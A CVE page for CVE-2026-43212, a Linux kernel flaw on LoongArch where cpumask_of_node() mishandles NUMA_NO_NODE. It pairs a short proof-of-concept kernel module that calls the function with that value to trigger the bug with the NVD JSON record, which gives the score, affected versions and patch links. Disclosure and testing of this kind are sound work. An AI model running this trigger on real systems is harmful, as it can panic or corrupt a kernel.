CVE-2026-43212

/* * PoC for CVE-2026-43212 * Trigger the vulnerability by calling cpumask_of_node(NUMA_NO_NODE) * Compile as a kernel module to test directly. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/cpumask.h> #include <linux/topology.h> static int __init poc_init(void) { const struct cpumask *mask; printk(KERN_INFO "CVE-2026-43212 PoC: Triggering cpumask_of_node with NUMA_NO_NODE\n"); // Passing NUMA_NO_NODE (-1) to the vulnerable function // This may cause kernel panic or memory corruption mask = cpumask_of_node(NUMA_NO_NODE); if (mask == NULL) { printk(KERN_INFO "CVE-2026-43212 PoC: Returned NULL\n"); } else { printk(KERN_INFO "CVE-2026-43212 PoC: Returned mask pointer\n"); } return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "CVE-2026-43212 PoC: Exiting\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL");

{"cve": {"id": "CVE-2026-43212", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:40.687", "lastModified": "2026-05-11T19:57:52.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nLoongArch: Make cpumask_of_node() robust against NUMA_NO_NODE\n\nThe arch definition of cpumask_of_node() cannot handle NUMA_NO_NODE -\nwhich is a valid index - so add a check for this."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.19", "versionEndExcluding": "6.1.165", "matchCriteriaId": "3DD2C202-0D8D-4C7D-A980-CFCF610F7707"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1d8f2f024801019d85159a020b72a4424b46bcf4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/61a56df2fbaad3a4d00f0c6a904b5d1ee8982eb4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/92adfb707beec0fe956424373654a70aad35ea13", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/94b0c831eda778ae9e4f2164a8b3de485d8977bb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b5bf05e05cdf489a04137e4da407de9d4cca5295", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bb1a54f7f011f19ed936632698eae574e0b91063", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}